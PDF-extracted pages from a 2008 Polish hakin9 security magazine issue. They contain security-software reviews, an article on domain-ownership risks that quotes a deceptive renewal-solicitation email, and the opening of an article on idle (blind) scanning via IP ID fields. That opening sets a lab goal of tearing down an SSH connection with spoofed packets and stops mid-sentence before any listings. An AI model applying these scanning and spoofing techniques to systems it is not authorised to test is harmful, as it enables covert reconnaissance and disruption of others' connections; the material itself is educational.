sformatowanych, z zaginionych lub uszkodzonych par-
tycji oraz dysków logicznych. Udaje się odzyskać za-
równo utracone foldery, jak i pliki. Program radzi sobie
bardzo dobrze także z plikami, które zostały już usu-
nięte, a miejsce po nich nadpisane. Narzędzie spraw-
dzi wszystkie media, które zdefiniujemy, w poszukiwa-
niu utraconych danych, po czym wyświetli je w drze-
wie według typu pliku. Rozpoznaje ponad 300 różnych
typów plików, w tym dokumenty procesora tekstu, ar-
kusza kalkulacyjnego, pliki graficzne, multimedia, ko-
dy źródłowe itp. Media, z których możemy odzyskać
dane to:

• dyski twarde,
• dyskietki,
• napędy ZIP,
• dyski/pamięci USB.

Program wymaga co najmniej 32 MB pamięci RAM. Opis
procesu instalacji i aktywacji znajduje się w pliku teksto-
wym na płycie CD.

Drogi Czytelniku, masz trzy miesiące (do marca 2008),
aby zarejestrować program. Następnie otrzymasz pełną
wersję programu bez ograniczeń czasowych. l

Rysunek 1.

Recovery Options

Licencja dla oprogramowania Dr.Web

• Licencję dla oprogramowania Dr.Web Anti-Virus, dołą-

czonego do numeru 11/2007 hakin9, można uzyskać po
rejestracji na stronie dystrybutora: www.doctorweb.com.pl/
hakin9, używając kodu promocyjnego: AVL-32.

• Licencję dla oprogramowania Dr.Web For File Servers

można uzyskać po rejestracji na stronie dystrybutora:
www.doctorweb.com.pl/hakin9, używając kodu promo-
cyjnego: AVF-32.

Jeśli nie możesz odczytać zawartości płyty CD, a nie jest ona uszkodzona mechanicznie,

sprawdź ją na co najmniej dwóch napędach CD.

W razie problemów z płytą, proszę napisać pod adres: cd@software.com.pl

Narzędzia

hakin9 Nr 01/2008

www.hakin9.org

Z przodu pudełka producent umieścił spis podstawowych
składników zestawu, w którego skład wchodzą: skaner
antywirusowy VirusScan, skaner antyspyware'owy, fire-
wall Personal Firewall Plus, program optymalizujący
działanie systemu, program do wykonywania kopii zapa-
sowych DataBackup, filtr antyspamowy SpamKiller oraz
program kontroli rodzicielskiej. Dodatkowo producent
dostarcza plugin do przeglądarki – McAfee SiteAdvisor,
który podpowiada, czy aktualnie odwiedzana strona jest
bezpieczna dla naszego komputera.

Zatem kupując program powinniśmy otrzymać wszyst-

ko, co potrzebne do ochrony domowego komputera.
Na pudełku zostały podane także minimalne wymagania
systemowe.

W pudełku otrzymujemy krótką instrukcję McAfee

Quick Start Guide w językach: angielskim, niemieckim,
francuskim, holenderskim, hiszpańskim, brazylijskim,
włoskim, fińskim, szwedzkim, norweskim, czeskim, pol-
skim i tureckim, a także płytę CD z oprogramowaniem
i pełną wersją instrukcji w języku zgodnym z językiem
zakupionego programu.

Do instalacji potrzebujemy: systemu Microsoft Win-

dows 2000, XP lub Vista, procesora taktowanego szyb-
kością minimum 500MHz, 256MB pamięci RAM oraz
około 150MB miejsca na dysku twardym.

Program jest wyposażony w wygodny instalator,

który prowadzi użytkownika krok po kroku poprzez
proces instalacji. Przed instalacją jest wykonywane ska-
nowanie plików systemowych oraz aktualnie urucho-
mionych programów. Niestety, podczas instalacji skład-
ników systemu możemy dowiedzieć się tylko, czy dany
składnik jest już zainstalowany lub czy dopiero oczeku-
je na instalację.

Po zakończeniu procesu instalacji programu

znajdziemy jego ikonkę w zasobniku systemowym.
Po wykonaniu podwójnego kliknięcia program System-
Center rozpoczyna inicjalizację, a w wypadku pierwsze-
go uruchomienia wyświetlane jest także okno z prośbą
o rejestrację oprogramowania.

Do rejestracji wymagane jest podanie jedynie imie-

nia, nazwiska, adresu e-mail oraz wymyślonego przez
nas hasła. Po instalacji program aktualizuje komponen-
ty oraz prosi nas o restart komputera. Po kliknięciu na
ikonę M w zasobniku systemowym otwiera się panel ste-

rowania całym systemem. W głównej części programu
widzimy informacje o stanie ochrony, natomiast z lewej
strony dostępne jest menu opcji. Do wyboru są dwa
interfejsy menu – podstawowy (prostszy) oraz zaawan-
sowany.

W menu podstawowym otrzymujemy dostęp

do aktualizacji sygnatur baz wirusów, skanowania
całego komputera, opcji optymalizujących komputer
oraz możliwości zablokowania całego ruchu sieciowe-
go. Menu zaawansowane pozwala natomiast na dokład-
ną konfigurację systemu.

Możemy dowiedzieć się, jakie zdarzenia miały miej-

sce w naszym komputerze (akcje antywirusa i zapory),
mamy dostęp do kwarantanny oraz możliwość odzyska-
nia plików, które zostały niesłusznie oznaczone jako
zainfekowane. Możemy sprawdzić także, które progra-
my generują najwięcej ruchu sieciowego.

Działająca w tle ochrona zapewniana przez pro-

gram nie spowalnia w zauważalnym stopniu kompute-
ra z procesorem Duron 1350+ oraz 1GB pamięci DDR
RAM.

W przypadku posiadania sieci routowanej przez kom-

puter z firewallem McAfee należy wyłączyć zaporę w celu
udostępniania Internetu innym komputerom.

Damian Klimek

Producent: McAfee

System: Windows 2000, Windows XP, Windows Vista

Typ: Internet Security Suite

Strona producenta: http://www.mcafee.com/pl/

Ocena: 5/5

Internet Security Suite

Rysunek 1.

Internet Security Suite

hakin9 Nr 01/2008

www.hakin9.org

Narzędzia

Przy zakupie programu w zestawie dostajemy nastę-
pujące aplikacje: Teledisk (niestety, w wersji angiel-
skiej), Teleguard zawierający programy: Telesafe (służy
do zabezpieczania haseł) i Telelogin – pozwalający
dodatkowo zabezpieczyć konto w Windowsie przy użyciu
sprzętowego tokena. Do dyspozycji mamy też Teletoken
Manager – program służący do konfiguracji tokena oraz
wtyczkę Telezip i dodatek Teleshell, umożliwiający inte-
grację z systemem Windows. Najbardziej atrakcyjnym
elementem całego pakietu jest token sprzętowy, który
możemy sobie sami skonfigurować. Instalacja systemu
przebiega bezproblemowo – przynajmniej przy wyko-
rzystaniu systemu Windows XP. Instalator przeprowa-
dza użytkownika krok po kroku przez cały proces, a inte-
rakcja odbywa się w języku polskim. Pomoc w pakiecie
także jest zadowalająca, jednakże dobre wrażenie cało-
ści trochę psuje nieprzetłumaczona pomoc dla progra-
mu Teledisk. Pakiet bez problemu integruje się z syste-
mem Windows XP, pozwala nam łatwo zaszyfrować pliki
przy korzystaniu z menu kontekstowego, daje również
możliwość wzmocnienia ochrony poprzez użycie tokena
sprzętowego. A teraz przyjrzyjmy się poszczególnym
aplikacjom dostępnym w pakiecie.

Konfiguracja tokena za pomocą programu Teleto-

ken Manager odbywa się w sposób całkowicie bezbole-
sny. Kreator prowadzi nas niemalże za rączkę, pewnym
minusem jest tylko fakt, że kod PUK trzeba zapisać ręcz-

nie – brakuje opcji zapisu do pliku konfiguracji. Z drugiej
strony, ze względów bezpieczeństwa to pozytywne zacho-
wanie, ponieważ nikt nam nie wykradnie kodu razem
z plikiem. Gorzej będzie, jak zapisany numer schowamy
w jakiejś książce, którą odłożymy na półkę.

Istnieje możliwość naprawy tokena, jeżeli coś się

w nim zepsuje. Program Telezip pozwala na wzmocnie-
nie ochrony plików archiwizowanych, aczkolwiek dosta-
jemy go w takim formacie, że możemy mieć problem
z otwarciem archiwum na komputerze bez Telezipa.
Telelogin jest interesującą aplikacją, która pozwoli choć
trochę wzmocnić ochronę Twoich danych w profilu, daje
on możliwość stworzenia hasła rezerwowego w przypad-
ku zgubienia tokena, natomiast nie chroni nas przed użyt-
kownikiem, który zaloguje się do systemu na inne konto
z uprawnieniami administratora – ma wtedy możliwość
podejrzenia naszych plików. Niedopracowany jest pro-
gram Teledisk – kreatory są w języku polskim, a menu
w języku angielskim. Nie wiem dlaczego, może tylko mnie
trafiła się taka niewykończona wersja? Aplikacja pozwala
nam tworzyć ukryte wolumeny w oparciu o różne algoryt-
my szyfrowania, pozwalając uchronić cenne dane przed
atakami z zewnątrz.

Ogólnie pakiet wykorzystuje do szyfrowania głównie

algorytm AES, nazywany również Rijndael. Podsumowu-
jąc – mamy do czynienia z dobrym zestawem programów
zabezpieczających, który wymaga jednakże ostateczne-
go dopracowania i zwiększenia automatyzmu działania.

Jarosław Peterko

Teleguard

Producent: TeleVox

System: Windows 2000/2003/XP

Typ: Teleguard

Strona producenta: www.televox.pl

Ocena: 4/5

Rysunek 2.

Konfiguracja Teleloginu

Rysunek 3

.Sprzętowy Token

www.hakin9.org

hakin9 Nr 01/2008

Początki

odczas rejestracji domeny należy podać
swoje dane osobowe (imię i nazwisko, ad-
res, telefon, e-mail). Te dane są dostępne

w publicznej bazie WHOIS. Dzięki nim można się
skontaktować z właścicielem domeny, nawet je-
śli na stronie internetowej nie podano żadnych da-
nych kontaktowych. W bazie WHOIS, oprócz da-
nych adresowych właściciela domeny, są też inne
informacje: nazwa i adres firmy, w której domena
była rejestrowana, data rejestracji domeny i data
jej ważności (domenę rejestruje się na rok czasu,
jednak można od razu zapłacić za kilka lat z góry).
Gdy ważność domeny dobiega końca, należy wy-
kupić kolejny rok abonamentu, albo po upłynięciu
terminu ważności domena zostanie usunięta.

Jeśli stwierdzisz, że konkretny rejestrator

domeny Tobie nie odpowiada np. biuro obsługi
klienta jest do niczego, albo ceny są zbyt wyso-
kie, możesz taką domenę przenieść do innego
rejestratora. Zazwyczaj takie przeniesienie jest
darmowe, ale trzeba zapłacić za koszt rocznego
utrzymania domeny, której ważność zostanie au-
tomatycznie przedłużona. Aby przenieść dome-
nę, należy ją odbezpieczyć w panelu administra-
cyjnym. Domyślnie domeny są zabezpieczone,
dzięki czemu nikt nie przetransferuje cudzej do-
meny. Aby przenieść niektóre domeny (np. *.biz,

*.info), oprócz ich odbezpieczenia należy znać
kod auth-info (jest to coś w rodzaju hasła, któ-
re zna obecny rejestrator domeny – kod ma za
zadanie utrudnić przeniesienie domeny osobie,
która nie jest jej właścicielem).

Jak sprawdzić dane

właściciela domeny

Jeśli chcesz sprawdzić dane właściciela domeny,
powinieneś skorzystać z serwisu www.whois.net.

Domeny – zagrożenia

i ich skutki

Damian Daszkiewicz

stopień trudności

Posiadanie własnej domeny internetowej to nie tylko prestiż.

To również szereg różnego rodzaju zagrożeń np. otrzymywanie

zwiększonej ilości SPAMu, czy możliwość kradzieży domeny.

Z artykułu dowiesz się

• co to jest WHOIS i w jaki sposób skontakto-

wać się z właścicielem domeny, jeśli na stronie
WWW nie ma informacji kontaktowych,

• jak przenieść domenę od obecnego do innego

rejestratora,

• jak niektóre firmy podkradają klientów przy

przedłużaniu ważności domeny.

Co powinieneś wiedzieć

• czym jest domena,
• znać podstawowe informacje związane z reje-

stracją domeny internetowej.

Zagrożenia związane z posiadaniem domeny

hakin9 Nr 01/2008

www.hakin9.org

W przypadku, gdy chcesz sprawdzić
dane właściciela jakiejś polskiej dome-
ny innej niż z końcówką .pl (np. com.pl,
net.pl), odpowiednim serwisem jest
http://www.dns.pl/cgi-bin/whois.pl.

Gdyby te strony nie działały, moż-

na sprawdzić dane właściciela do-
meny w niektórych serwisach, które
umożliwiają rejestrację domeny. Po-
jawi się wtedy informacja, że podana
domena jest zajęta, a w części serwi-
sów pojawi się dodatkowo możliwość
sprawdzenia, kto jest jej właścicielem.

Jeśli masz zainstalowany sys-

tem operacyjny Linux, to problem jest
jeszcze mniejszy – wystarczy w termi-
nalu wpisać polecenie

whois nazwa _

domeny

, np.

whois daszkiewicz.net

Rysunek 1. przedstawia fragment

danych z bazy WHOIS dla domeny
google.com. Jak widzisz, są tam po-
dane dane adresowe firmy Google.
Natomiast Rysunek 2. przedstawia
fragment danych z bazy WHOIS dla
domeny daszkiewicz.net. Ponieważ
wykupiłem opcję ID Protect, nie widać
moich danych osobowych (poza imie-
niem, nazwiskiem i tymczasowym ad-
resem e-mail).

Bezpieczeństwo

Jeśli posiadasz popularną domenę,
może się zdarzyć, że ktoś będzie chciał
ją ukraść. Chyba nie muszę tutaj pisać

o tak elementarnych zasadach bezpie-
czeństwa, jak nie podawanie nikomu
loginu i hasła do panelu administracyj-
nego, czy kodu

auth-info

Niebezpieczna

funkcja catch-all

Podczas parkowania domeny na
serwerze można uaktywnić funkcję

catch-all

. Oznacza to, że cokolwiek

się wpisze przed @nazwa_domeny
to wiadomość e-mail dojdzie do Cie-
bie na domyślny adres e-mail. Z po-
zoru jest to bardzo wygodna funk-
cja – nie trzeba tworzyć kilku kont
e-mailowych (np. kontakt@nazwa_
domeny, admin@nazwa_domeny).
Niestety, spamerzy monitorują in-
ternet w poszukiwaniu nowo zareje-
strowanych domen i próbują wysyłać
SPAM na adresy: sales@nazwa_
domeny,

contact@nazwa_domeny,

webmaster@nazwa_domeny info@
nazwa_domeny itp. Dlatego proponu-
ję wyłączyć funkcję

catch-all

i założyć

kilka zwykłych adresów e-mail.

Z drugiej strony funkcja

catch-all

jest bardzo przydatna: jeśli ktoś pi-
sząc do Ciebie e-mail popełni lite-
rówkę przed znakiem małpy to wtedy
taki e-mail i tak do Ciebie dojdzie.

Zwiększona

ilość SPAMu

Posiadając domenę musisz się liczyć
z otrzymywaniem zwiększonej ilości
SPAMu. Spamerzy monitorują inter-
net w poszukiwaniu nowych domen
i pobierają z bazy WHOIS adresy do
webmasterów. Dlatego podczas reje-
stracji domeny proponuję nie poda-

Otrzymany e-mail

Należy odnowić domenę XXX
Twoja domena XXX ulegnie przedawnieniu za 90 dni.
Możesz automatycznie odnowić domenę z NAZWA FIRMY.
Kliknij odnośnik w emailu, aby przedłużyć ważność domeny na następny rok. Powi-
nieneś odnowić rejestrację najszybciej jak to możliwe aby pozostała zarejestrowa-
na na Twoje dane. Kliknij tutaj, aby przedłużyć ważność domeny http://www.NAZWA
FIRMY.com/for.php?d=XXX.
Jak tylko otrzymamy Twoją płatność prześlemy wiadomość, potwierdzającą, że waż-
ność Twojej domeny została przedłużona. Usługi i informacje związane z NAZWA FIR-
MY. NAZWA FIRMY zarządza adresami, rejestracją, przedsięwzięciami i władzami za-
rządzającymi własnoscią domen internetowych. Informujemy przedsiebiorstwa, które
domeny są zarejestrowane i przypominamy im jeśli, domena może ulec przedawnieniu
lub jeśli nadchodzi czas, aby odnowić rejestrację domeny. Jeśli chcesz, aby NAZWA
FIRMY przedłużył rejestrację, kliknij w odnośnik zawarty w tym emailu. Jeśli nie chcesz
używać nazwy domeny po jej wygaśnięciu, możesz skasować tę wiadomość. Żadna in-
formacja nie zmieni się w bazie WHOIS po przedłużeniu ważności domeny przez NA-
ZWA FIRMY. Ważność domeny przedłuży się o jeden rok, będziesz mógł kontynuować
współpracę z dotychczasowym dostawcą. Możesz także poprosić swojego ISP o prze-
dłużenie ważności domeny. W wypadku jakichkolwiek pytań prosimy o kontakt z na-
szym centrum obsługi klienta pod adresem email support@NAZWA FIRMY.com

Rysunek 1.

Dane z bazy WHOIS dla domeny google.com

hakin9 Nr 01/2008

www.hakin9.org

Początki

wać głównego adresu e-mail. Zawsze
można założyć darmowe konto pocz-
towe w jakimś portalu i sprawdzać na-
nim pocztę dość sporadycznie. Gdy
sie okaże, że na to konto przychodzi
zbyt wiele SPAMu to wtedy należy za-
rejestrować nowe konto pocztowe i do-
konać zmian w bazie WHOIS.

Uwaga: musisz od czasu do cza-

su odbierać pocztę z tamtego konta,
gdyż czasami na taki adres e-ma-
il może przyjść jakaś ważna wiado-
mość np. przypomnienie o koniecz-
ności odnowienia domeny.

Regularnie spawdzaj,

kiedy domena wygaśnie

Domenę rejestruje się na okres mini-
mum 1 roku. Gdy okres ważności do-
meny zbliża się ku końcowi, należy za-
płacić za odnowienie domeny, czy-
li przedłużenie jej ważności o kolej-
ny rok. Każdy poważny rejestrator wy-
syła np. 30 dni przed końcem ważno-
ści domeny informację o konieczności

odnowienia domeny. Jednak zdarza-
ją się przypadki niepoważnych reje-
stratorów, którzy takich przypomnień
nie wysyłają. Poza tym email z przy-
pomnieniem może nie dojść. Dlatego
dla własnego bezpieczeństwa zanotuj

kiedy domena traci ważność. Można
w tym celu wykorzystać program przy-
pominający o zbliżających się roczni-
cach – większość komórek posiada
tego typu aplikacje. Ponieważ przelew
może iść kilka dni, nie zostawiaj przy-
krego obowiązku płacenia na ostatni
dzień. Polecam płacić najpóźniej ty-
dzień przed dniem zero.

Jeśli minie okres ważności domeny,

istnieje możliwość odzyskania domeny.
Zazwyczaj okres od wygaśnięcia waż-
ności domeny do jej fizycznego skaso-
wania wynosi około 40 dni. Tutaj jednak
radzę uważać, gdyż niektóre firmy po-
bierają wyższe opłaty, gdy się spóźnisz
z odnowieniem domeny. Przykładowo,
pewna firma, w której odnowienie do-
meny globalnej kosztuje 8 dolarów po-
biera opłatę w wysokości około 100 do-
larów za odnowienie domeny, której
okres ważności dobiegł końca.

Praktyka pewnej firmy

Niedawno otrzymałem e-mail z infor-
macją, że jedna z moich domen wy-
gaśnie za mniej niż 90 dni. W e-ma-
ilu był link z prośbą o przedłużenie
ważności domeny, a na końcu wia-
domości znajdowała się interesują-
ca stopka z informacją, że firma, od
której dostałem e-mail, zajmuje się
rejestracją domen oraz pilnowaniem
i przedłużaniem ich terminów ważno-
ści. Oczywiście nie miałem nic wspól-
nego z tą firmą, ponieważ korzystam
z oferty innego usługodawcy. Aby by-
ło ciekawiej, koszt odnowienia glo-

Terminologia

• WHOIS – Informacje o domenach internetowych można uzyskać przy pomocy

WHOIS, czyli powszechnie dostępnej bazy danych o abonentach domen interne-
towych. WHOIS udostępnia następujące dane: nazwa abonenta domeny i adres
(w przypadku domen rejestrowanych w NASK – nie dotyczy to osób fizycznych, na
podstawie Dz. U. z dnia 29 sierpnia 1997 r.), nazwy serwerów, na które jest delego-
wana domena oraz dane obsługującego rejestratora.

• Transfer domeny – możliwość przeniesienia domeny pomiędzy rejestratorami.
• auth-info (auth-code) – niektóre domeny (np. *.biz, *.info) posiadają specjalny kod

auth-info, który zna tylko Twój rejestrator. Bez znajomości tego kodu nie można
przenieść domeny do innego rejestratora (jest to zabezpieczenie przed osobami,
które chciałyby ukraść komuś domenę, przenosząc ją do swojego rejestratora).

• ID Protect – opcja (zazwyczaj dodatkowo płatna) pozwalająca na ukrycie danych

adresowych właściciela domeny w bazie WHOIS.

•

catch-all

– jeśli funkcja catch-all jest aktywna to poczta adresowana wedle sza-

blonu dowolna_nazwa@domena jest kierowana na domyślną skrzynkę e-mail.

Rysunek 2.

Dane z bazy WHOIS dla domeny daszkiewicz.net

Zagrożenia związane z posiadaniem domeny

balnej domeny wynosić miał prawie
50 euro, natomiast u mojego rejestra-
tora ta usługa kosztuje zaledwie 8 do-
larów.

Ta nieuczciwa firma liczy na to, że e-

mail przeczyta niezbyt rozgarnięta oso-
ba, która nie pamięta, u kogo rejestro-
wała domenę i zapłaci za usługę prze-
dłużenia jej ważności słono przy tym
przepłacając. Ramka Otrzymany e-ma-
il przedstawia widomość, jaką otrzyma-
łem od takiej nieuczciwej firmy. Po prze-
czytaniu wiadomości e-mail widać, że
nie pojawiła się ani razu informacja, iż jej
nadawca jest moim obecnym rejestra-
torem domeny. Wiadomość została tak
sprytnie zredagowana, że można łatwo
dojść do takiego wniosku.

Jak się przed tym bronić?

Działalność tej firmy jest bardzo nie-
etyczna. Poza tym chyba nikt nie lubi
płacić więcej za produkty, które moż-
na kupić taniej. Mogę tutaj z czystym
sumieniem powiedzieć, że ta wątpliwej
reputacji firma wykrada klientów innym,
uczciwym usługodawcom. Warto pa-
miętać, w jakiej firmie była rejestrowa-

na konkretna domena. Dzięki temu, po
otrzymaniu takiej wiadomości będziesz
wiedział, że jej nadawcą nie jest firma,
z którą współpracujesz. Jeśli rejestru-
jesz domeny u różnych rejestratorów,
na zasadzie dzisiaj pójdę tam, gdzie jest
najciekawsza promocja, koniecznie za-
pisuj w notatniku informacje dotyczą-
ce rejestracji każdej z domen. Ewen-
tualnie, w celu sprawdzenia tych da-
nych można skorzystać z bazy WHO-
IS. Ponieważ firma wysyła e-maile do
właścicieli domen, których termin waż-
ności upłynie za mniej niż 90 dni, waż-
ność domeny można przedłużyć np. na
100 dni przed jej przedawnieniem się –
i w ten sposób uniknąć spamerskich
wiadomości. Można również wykupić
usługę ukrywania prywatności – ID
Protect (zwykle jest to dodatkowo płat-
na opcja, która kosztuje około 10 do-
larów za rok). Wtedy w bazie WHO-
IS nie będą podane Twoje dane adre-
sowe, natomiast będzie tam umiesz-
czony tymczasowy adres e-mail
(np.

aoamq7oz@nameprivacy.com)

który przekieruje pocztę na Twój praw-
dziwy adres e-mail. Wtedy w programie

pocztowym w polu do będzie podany
ten tymczasowy adres e-mail, więc bę-
dziesz wiedział, że nadawca wiadomo-
ści uzyskał go z bazy WHOIS. W przy-
padku domen z końcówką .pl, .com.pl
itp. sprawa jest prostsza, gdyż przy re-
jestracji domeny na osobę fizyczną nie
ma potrzeby umieszczania w bazie
WHOIS Twoich danych adresowych.

Podsumowanie

Jeśli otrzymasz jakąkolwiek wiado-
mość e-mail dotyczącą przedłużenia
domeny, sprawdź czy jest to e-mail
od firmy, w której masz zarejestrowa-
ną domenę. Możliwe, że w przyszło-
ści inne firmy będą próbowały w tak
sprytny sposób wykradać klientów,
dlatego zapisuj w notatniku z usług
jakich firm korzystasz. Jeśli nie jesteś
przekonany, czy dany e-mail pocho-
dzi od firmy w której masz wykupio-
ną domenę, znajdź fakturę za dome-
nę – powinien na niej być numer tele-
fonu do rejestratora domeny.

Warto również rozważyć opcję

wyłączenia funkcji

catch-all

, aby nie

otrzymywać zbyt wiele SPAMu. Je-
śli nie stać Cię na wykupienie opcji ID
Protect to w bazie WHOIS podaj swój
tymczasowy adres e-mail, który po-
rzucisz, gdy zaczniesz otrzymywać
zbyt wiele SPAMu. Nie zapomnij rów-
nież zapisać w terminarzu informacji,
kiedy ważność danej domeny dobie-
ga końca. l

O autorze

Damian Daszkiewicz jest samoukiem od wielu lat interesującym się informatyką
i e-biznesem. Obecnie studiuje na Politechnice Rzeszowskiej na kierunku Informaty-
ka. W roku 2003 wydawnictwo Helion opublikowało jego książkę Vademecum hake-
ra. Edycja plików binarnych.
Kontakt z autorem: damian@daszkiewicz.net

www.hakin9.org

hakin9 Nr 01/2008

Atak

zaletach i celowości skanowania ni-
kogo chyba nie trzeba przekonywać.
Obecnie stosowanych technik ska-

nowania jest naprawdę mnóstwo. Większość
z nich jest zaimplementowana w programach
NMAP i AMAP. Skanery mogą używać technik
kamuflażu, które pozwalają na uniknięcie wy-
krycia. Niektórych z technik wykorzystanych
w wymienionych skanerach można użyć do
analizy połączeń ustanowionych pomiędzy
dwoma komputerami, a nawet doprowadzić do
ich rozłączenia.

Cel skanowania

Celem oczywiście jest poznanie usług dzia-
łających na skanowanym komputerze. Więk-
szość technik skanowania opiera się na wysy-
łaniu pakietów testujących i analizie odpowie-
dzi. Takie podejście ma jednak wadę – na ogół
ujawnia źródło skanowania – co niekoniecznie
jest korzystne dla naszego bezpieczeństwa,
a dodatkowo nic nie mówi o interesujących nas
połączeniach atakowanej maszyny. Sprawa
ma się nieco inaczej, jeżeli mamy możliwość
podsłuchiwania ruchu związanego ze ska-
nowanym komputerem. Możemy wtedy sfał-
szować adres źródłowy wysyłanych pakietów

i analizować odpowiedzi. Jeżeli nadarzy się ta-
ka niezwykle rzadka okazja, jak podsłuchiwa-
nie ruchu maszyny nienależącej do naszej sie-
ci, to należy wiedzieć, że istnieją lepsze techni-
ki skanowania, które dodatkowo nie ujawniają
naszej ciekawości. Taką techniką jest pasyw-
ny skan/fingerprinting. Używając tej metody
nie wysyłamy żadnych danych do skanowane-
go komputera, a jedynie analizujemy ruch prze-

Blind Attack

Konrad Malewski

stopień trudności

Skanowanie komputerów i odnajdywanie działających na

nich usług od zawsze było pasjonującym zajęciem, a techniki

odkrywania tajemnic zdalnej maszyny ewoluowały od bardzo

prostych tj. skanowania pakietami SYN, do bardzo finezyjnych

– jaką jest choćby technika blind scanning.

Z artykułu dowiesz się

• na czym polegają ataki blind scanning, blind

ARP scanning, blind RST,

• dlaczego losowość jest kluczowa dla bezpie-

czeństwa systemowego,

• o zasadzie działania niektórych mechanizmów

TCP/IP,

• jak wykorzystać Perla do pisania aplikacji sie-

ciowych.

Co powinieneś wiedzieć

• posługiwać się systemem opartym o jądro Li-

nuksa na poziomie użytkownika,

• znać podstawy Perla,
• znać podstawy TCP/IP.

Blind Attack

hakin9 Nr 01/2008

www.hakin9.org

pływający od i do ofiary, co w więk-
szości przypadków zajmuje więcej
czasu niż przy aktywnym skanowa-
niu. Korzystając z tej techniki po-
znanie wszystkich otwartych portów
może być procesem długotrwałym,
który zależy wyłącznie od aktyw-
ności maszyny w sieci. Dla przykła-
du – jeśli nikt nie skorzysta z usłu-
gi SSH, nigdy nie wykryjemy obec-
ności tejże usługi.

Mając do dyspozycji wymienione

dwa sposoby, skanowanie aktywne
i pasywne, należałoby wybrać po-
między prędkością a jakością. Ak-
tywne skany dostarczają szybko do-
kładnych wyników w przeciwieństwie
do pasywnego skanowania, na któ-
rego wyniki należy czekać niekiedy
tygodniami. Pasywne skanowanie
jest bezpieczniejsze. Natomiast ak-
tywne najczęściej ujawnia adres źró-
dłowy skanera.

Klasyczne

skanowanie na ślepo

Skanowanie na ślepo (ang. blind
scanning) jest inaczej zwane ska-
nowaniem jałowym (ang. idle scan-
ning). Technika ta została zaim-
plementowana w programie nmap
i polega na wykorzystaniu trzecie-
go komputera do przeprowadzenia
skanowania. Komputer, który zosta-
nie użyty jako przykrywka powinien

pozostawać w stanie bezczynności
albo przynajmniej natężenie ruchu
wychodzącego nie powinno fluktu-
ować.

Zanim przejdziemy do szczegó-

łów, należy przeanalizować zacho-
wanie stosów IP oraz TCP w nie-
których przypadkach. Przypuści-
my, że posiadamy skonfigurowa-
ną sieć komputerów składającą się
z trzech jednostek znajdujących się
w tej samej sieci. Komputery te ma-
ją adresy 172.16.83.1, 172.16.83.128
oraz 172.16.83.129. Na pierwszym
i ostatnim zainstalowany jest system

Linux, a komputer z końcówką 128
działa pod kontrolą systemu Win-
dows Vista.

Naszym celem będzie prze-

rwanie połączenia pomiędzy kom-
puterem 172.16.83.129(A) a kom-
puterem 172.16.83.128(B) dyspo-
nując komputerem 172.16.83.1(C).
Nasze możliwości ograniczają się
do fałszowania adresu źródłowe-
go wychodzących pakietów. Prze-
stawiamy kartę sieciową kompu-
tera C w tryb promisc, aby nie od-
bierać wyłącznie pakietów z adre-
sem 172.16.83.1. Pomiędzy kompu-
terami A i B nawiązane jest połącze-
nie SSH (serwer działa na kompute-
rze A).

Obiektem naszego zaintereso-

wania będzie flaga ID protokołu IP.
Najpierw należy zaobserwować, jak
systemy operacyjne ustalają wartość
pola ID protokołu IP.

Znaczenie badanych pól znaj-

dziemy w ramce. Żeby dowiedzieć
się, jak poszczególne systemy usta-
lają wartość pola ID, należy przepro-
wadzić prosty eksperyment polega-
jący na wywołaniu na komputerze
C polecenia przedstawionego na Li-
stingu 2.

Przyjrzyjmy się polu ID, które jest

inkrementowane o jeden. Natomiast
w systemach linuksowych jest tak, jak
pokazuje Listing 3.

Pole ID jest ustawione na zero.

Możemy spróbować użyć protoko-

W Sieci

• http://www.sys-security.com/archive/papers/Network_Scanning_Techniques.pdf

– opis technik skanowania,

• http://insecure.org/nmap/man/man-port-scanning-techniques.html – techniki ska-

nowania wykorzystane w programie NMAP,

• http://freeworld.thc.org/thc-amap – strona domowa skanera AMAP,
• http://ettercap.sourceforge.net – narzędzie do ataków MITM,
• http://lcamtuf.coredump.cx/p0f.shtml – najlepsze narzędzie do pasywnego skano-

wania,

• http://www.faqs.org/rfcs/rfc793.html – dokumentacja opisująca TCP,
• http://www.osvdb.org/reference/SlippingInTheWindow_v1.0.doc – analiza ataków

RST,

• http://www.phrack.org/issues.html?issue=64 – opis wykorzystania IP ID do rozłą-

czania hostów,

• http://insecure.org/nmap/idlescan.html – opis skanowania ślepego w NMAP,
• http://packetstormsecurity.org/mag/keen/kv13.txt – artykuł o BARP scanning,
• http://www.vanheusden.com/Linux/sp – bezpieczeństwo dla paranoików,
• http://www.microsoft.com/technet/community/columns/cableguy/cg1105.mspx

– zmiany w nowym stosie TCP/IP Windows.

Tabela 1.

Początkowy rozmiar okna

System operacyjny

Początkowy rozmiar okna

Windows Vista

8192

Windows 2000 5.00.2195 SP4

64512

Windows XP Home Edition SP1

64240

Windows XP Professional SP2

65535

HP-UX11

32768

Nokia IPSO 3.6-FCS6

16384

Cisco 12.2(8)

16384

Cisco 12.1(5)

16384

Cisco 12.0(7)

16384

Cisco 12.0(8)

16384

Windows 2000 5.00.2195 SP1

16384

Windows 2000 5.00.2195 SP3

16384

Linux 2.4.18

5840

Linux 2.6.22

5840

hakin9 Nr 01/2008

www.hakin9.org

Atak

łu ICMP. W tym celu dodajemy prze-
łącznik -1 do polecenia

hping2

. Powin-

niśmy zauważyć, że pola ID zarówno
systemu Windows, jak i Linux są inkre-
mentowane o jeden. Nie są to, tak jak
się mogliśmy spodziewać, liczby zu-
pełnie losowe. Należy przeprowadzić
dodatkowy eksperyment. Z kompute-
ra A wysyłamy pakiety ICMP ECHO
REQUEST do komputera B i vice ver-
sa, a potem przeprowadzamy ponow-
nie eksperyment wysyłając pakiety
z komputera C (patrz Listing 4).

Szybki rzut oka na funkcję

ip _

select _ ident

jądra systemu Linux

pozwoli nam odkryć tajemnicę te-
go zachowania. IP ID w Linuksie jest
wybierane w sposób losowy i ma in-
ne wartości dla komunikacji z po-
szczególnymi hostami i w obrębie
poszczególnych połączeń. W mo-
mencie wybrania IP ID dla danego
połączenia, ID kolejnych pakietów
jest zwiększane o jeden.

Systemy z rodziny Windows prze-

chowują globalny licznik pakietów,
który jest używany jako wartość po-
la ID w nagłówku IP. Dzięki temu me-
chanizmowi, można stwierdzić, czy
dany host wysłał pakiet, czy nie. Je-
śli pomiędzy kolejnymi odpowiedzia-
mi pole ID zwiększy się wyłącznie
o jeden, oznacza to, że nasz pakiet nie
spowodował wysłania odpowiedzi.

Metoda skanowania za pomo-

cą tej techniki praktycznie narzu-

ca się sama. Skoro jesteśmy w sta-
nie zbadać, czy dany host wysłał pa-
kiet, czy nie, można to wykorzystać
do badania reakcji komputera B na
informacje, które wyśle mu kompu-
ter A. Można więc zastosować kla-
